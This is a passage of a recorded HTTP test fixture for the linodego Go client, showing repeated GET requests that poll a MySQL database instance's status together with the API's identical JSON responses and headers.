3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 